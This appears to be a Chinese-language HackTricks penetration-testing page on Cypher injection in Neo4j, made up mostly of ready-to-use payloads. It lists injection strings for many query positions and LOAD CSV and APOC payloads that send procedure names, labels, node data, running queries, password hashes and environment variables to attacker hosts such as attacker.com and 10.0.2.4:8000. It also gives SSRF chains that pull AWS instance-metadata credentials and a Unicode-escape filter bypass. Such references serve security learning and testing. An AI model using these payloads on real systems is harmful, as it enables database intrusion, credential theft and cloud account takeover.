hacktricks/pentesting-web/sql-injection/cypher-injection-neo4j.md
2023-08-03 19:12:22 +00:00

16 KiB
Raw Blame History

Cypher注入neo4j

☁️ HackTricks云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

常见的Cypher注入

MATCHWHERE语句是常见的情况

当我们发现注入时,利用它的方式取决于查询中的位置。下面是不同注入位置和利用示例的表格:

可注入的查询 注入
MATCH (o) WHERE o.Id='{input}' ' OR 1=1 WITH 0 as _l00 {…} RETURN 1 //

MATCH (o) WHERE '{input}' = o.Id
MATCH (o) WHERE {input} in [different, values]

'=' {…} WITH 0 as _l00 RETURN 1 //
MATCH (o) WHERE o:{input} a {…} WITH 0 as _l00 RETURN 1 //
MATCH (o) WHERE o:`{input}` a` {...} WITH 0 as _l00 RETURN 1 //
MATCH (o {id:'{input}'}) '}) RETURN 1 UNION MATCH (n) {...} RETURN 1 //
MATCH (o:{input}) a) RETURN 1 UNION MATCH (n){...} RETURN 1//
MATCH (o:`{input}`) a`) RETURN 1 UNION MATCH (n){...} RETURN 1 //
MATCH (o)-[r {id:'{input}'})]-(o2) '}]-() RETURN 1 UNION MATCH (n){...} RETURN 1//
MATCH (o)-[r:{input}]-(o2) a]-() RETURN 1 UNION MATCH (n){...} RETURN 1 //
MATCH (o)-[r:`{input}`]-(o2) a`]-() RETURN 1 UNION MATCH (n){...} RETURN 1 //

注意UNION语句

  1. 需要使用UNION的原因是如果MATCH语句没有返回任何内容查询的其余部分将不会运行。因此我们可能在那里做的所有恶意操作都不会执行。
  2. 我们在UNION之前添加“RETURN 1”以便两个部分返回相同的列这对于查询的执行是必需的。

那么“WITH”语句是什么意思

使用WITH我们可以删除所有现有的变量。当我们不知道查询是什么时这一点很重要稍后会详细介绍。如果我们的有效负载意外地尝试设置一个已经存在的变量查询将无法运行。

当然,如果我们知道查询和数据库,就不需要这些技术。我们甚至可以操纵返回的数据,以便操纵进程而不仅仅是滥用服务器。

HTTP信息泄露

可以使用以下方法将信息泄露到攻击者控制的域中:

LOAD CSV FROM 'https://attacker.com/'

例如

// Injection in:
MATCH (o) WHEREo.Id='{input}' RETURN o

// Injection to get all the preocedures
' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //

APOC

攻击者应该首先检查的是是否安装了APOC。APOCCypher上的强大过程是Neo4j的一个非常受欢迎的、官方支持的插件它极大地增强了其功能。APOC添加了许多附加函数和过程开发人员可以在其环境中使用。攻击者可以利用APOC提供的各种过程和函数来进行更高级的攻击。

处理数据和发送HTTP请求的过程

  • apoc.convert.toJson — 将节点、映射等转换为JSON
  • apoc.text.base64Encode — 获取字符串并将其编码为base64

可以设置标头发送其他方法而不仅仅是GET。示例

{% code overflow="wrap" %}

CALL apoc.load.jsonParams("http://victim.internal/api/user",{ method: "POST", `Authorization`:"BEARER " + hacked_token},'{"name":"attacker", "password":"rockyou1"}',"") yield value as value

CALL apoc.load.csvParams("http://victim.internal/api/me",{ `Authorization`:"BEARER " + hacked_token}, null,{header:FALSE}) yield list

{% endcode %}

评估查询的过程

  • apoc.cypher.runFirstColumnMany — 一个将第一列的值作为列表返回的函数
  • apoc.cypher.runFirstColumnSingle — 一个将第一列的第一个值返回的函数
  • apoc.cypher.run — 一个运行查询并将结果作为映射返回的过程
  • apoc.cypher.runMany — 一个运行查询或多个以分号分隔的查询并将结果作为映射返回的过程。这些查询在不同的事务中运行。

提取信息

服务器版本

获取服务器版本的一种方法是使用过程 dbms.components()

{% code overflow="wrap" %}

' OR 1=1 WITH 1 as a  CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.0.2.4:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //

获取正在运行的查询

最简单的方法是使用dmbs.listQueries()过程。

{% code overflow="wrap" %}

' OR 1=1 call dbms.listQueries() yield query LOAD CSV FROM 'http://10.0.2.4:8000/?' + query as l RETURN 1 //

{% endcode %}

Neo4j 5 中,dbms.listQueries 被移除。相反我们可以使用“SHOW TRANSACTIONS”。有两个主要的限制SHOW 查询不可注入,并且与 listQueries 不同,我们只能看到当前执行的查询而不是所有查询。

如果已经安装了 APOC 核心,我们可以使用它来运行 SHOW TRANSACTIONS。如果我们在同一个事务中运行只会返回 SHOW TRANSACTIONS 而不是我们想要查看的查询。我们可以使用 apoc.cypher.runMany 来执行 SHOW TRANSACTIONS因为与其他 apoc.cypher 函数和过程不同,它在一个不同的事务中运行。

{% code overflow="wrap" %}

' OR 1=1 call apoc.cypher.runMany("SHOW TRANSACTIONS yield currentQuery RETURN currentQuery",{}) yield result LOAD CSV FROM 'http://10.0.2.4:8000/?' + result['currentQuery'] as l RETURN 1//

获取标签

使用内置方法 db.labels,可以列出所有现有的标签。

{% code overflow="wrap" %}

'}) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://attacker_ip/?l='+label as l RETURN 0 as _0

获取键的属性

内置函数**keys可以用于列出属性的键**(如果其中一个字段是列表或映射,则此方法无效)。

{% code overflow="wrap" %}

' OR 1=1 WITH 1 as a MATCH (f:Flag) UNWIND keys(f) as p LOAD CSV FROM 'http://10.0.2.4:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //

{% endcode %}

如果有APOC可用可以使用apoc.convert.toJson来更好地完成。

' OR 1=1 WITH 0 as _0 MATCH (n) LOAD CSV FROM 'http://10.0.2.4:8000/?' + apoc.convert.toJson(n) AS l RETURN 0 as _0 //

获取函数和存储过程

使用内置的过程 dbms.functions()dbms.procedures() 可以列出所有的函数和存储过程。

{% code overflow="wrap" %}

' OR 1=1 WITH 1 as _l00 CALL dbms.functions() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //

{% code overflow="wrap" %}

' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //

{% endcode %}

这些过程在Neo4j 5中被移除。相反我们可以使用SHOW PROCEDURESSHOW FUNCTIONS。SHOW查询无法被注入。

如果安装了APOC核心我们可以使用任何执行查询的过程或函数来列出函数和过程。

' OR 1=1 WITH apoc.cypher.runFirstColumnMany("SHOW FUNCTIONS YIELD name RETURN name",{}) as names UNWIND names AS name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
' OR 1=1 CALL apoc.cypher.run("SHOW PROCEDURES yield name RETURN name",{}) yield value
LOAD CSV FROM 'https://attacker.com/' + value['name'] as _l RETURN 1 //

获取系统数据库

系统数据库是一个特殊的Neo4j数据库通常无法查询。它包含存储为节点的有趣数据

  • 数据库
  • 角色
  • 用户(包括密码的哈希值!)

使用APOC可以检索节点包括哈希值。只有管理员才能执行此操作但在Neo4j的免费版本中只有一个管理员用户没有其他用户,所以作为管理员运行并不罕见。

使用过程**apoc.systemdb.graph()**来检索数据。

{% code overflow="wrap" %}

' OR 1=1 WITH 1 as a  call apoc.systemdb.graph() yield nodes LOAD CSV FROM 'http://10.0.2.4:8000/?nodes=' + apoc.convert.toJson(nodes) as l RETURN 1 //

{% endcode %}

Neo4j使用Apache Shiro的SimpleHash生成哈希值。

结果以逗号分隔的字符串形式存储:

  • 哈希算法
  • 哈希值
  • 迭代次数

例如:

SHA-256, 8a80d3ba24d91ef934ce87c6e018d4c17efc939d5950f92c19ea29d7e88b562c,a92f9b1c571bf00e0483effbf39c4a13d136040af4e256d5a978d265308f7270,1024

获取环境变量

使用APOC可以通过使用过程**apoc.config.map()apoc.config.list()**来检索环境变量。

只有在配置文件dbms.security.procedures.unrestricted的不受限制的过程列表中包含这些过程时才能使用这些过程。这比人们想象的要常见通过搜索设置名称可以找到许多网站和指南建议添加值“apoc.*”这将允许所有APOC过程。

' OR 1=1 CALL apoc.config.list() YIELD key, value LOAD CSV FROM 'http://10.0.2.4:8000/?'+key+"="+" A B C" as l RETURN 1 //

**注意:**在Neo4j5中这些过程已经移动到了APOC扩展中。

AWS云元数据端点

IMDSv1

{% code overflow="wrap" %}

LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/' AS roles UNWIND roles AS role LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/'+role as l

WITH collect(l) AS _t LOAD CSV FROM 'http://{attacker_ip}/' + substring(_t[4][0],19, 20)+'_'+substring(_t[5][0],23, 40)+'_'+substring(_t[6][0],13, 1044) AS _

IMDSv2

我们需要指定头部并且我们需要使用除GET之外的方法

**LOAD CSV不能做这两件事,但是我们可以使用apoc.load.csvParams来获取令牌和角色,然后使用apoc.load.jsonParams**来获取凭据本身。我们使用csvParams的原因是响应不是一个有效的JSON。

CALL apoc.load.csvParams("http://169.254.169.254/latest/api/token", {method: "PUT",`X-aws-ec2-metadata-token-ttl-seconds`:21600},"",{header:FALSE}) yield list WITH list[0] as token

CALL apoc.load.csvParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/", { `X-aws-ec2-metadata-token`:token},null,{header:FALSE}) yield list UNWIND list as role

CALL apoc.load.jsonParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/"+role,{ `X-aws-ec2-metadata-token`:token },null,"") yield value as value

直接联系 AWS API

{% code overflow="wrap" %}

CALL apoc.load.csvParams('https://iam.amazonaws.com/?Action=ListUsers&Version=2010-05-08', {`X-Amz-Date`:$date, `Authorization`: $signed_token, `X-Amz-Security-Token`:$token}, null, ) YIELD list

{% endcode %}

WAF绕过

Unicode注入

在Neo4j >= v4.2.0中,通常可以使用“\uXXXX”来注入Unicode。例如,如果服务器尝试删除字符,如:‘, “, `等等,可以使用此方法。

如果Unicode转义序列后面跟着一个字母可能无法正常工作。可以安全地添加一个空格或另一个Unicode表示法。

例如,如果服务器删除单引号,并且查询如下所示:

MATCH (a: {name: '$INPUT'}) RETURN a

可以进行注入攻击:

{% code overflow="wrap" %}

\u0027 }) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM "http://attacker/ "+ label RETURN 0 as _o //

{% endcode %}

参考资料

☁️ HackTricks 云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥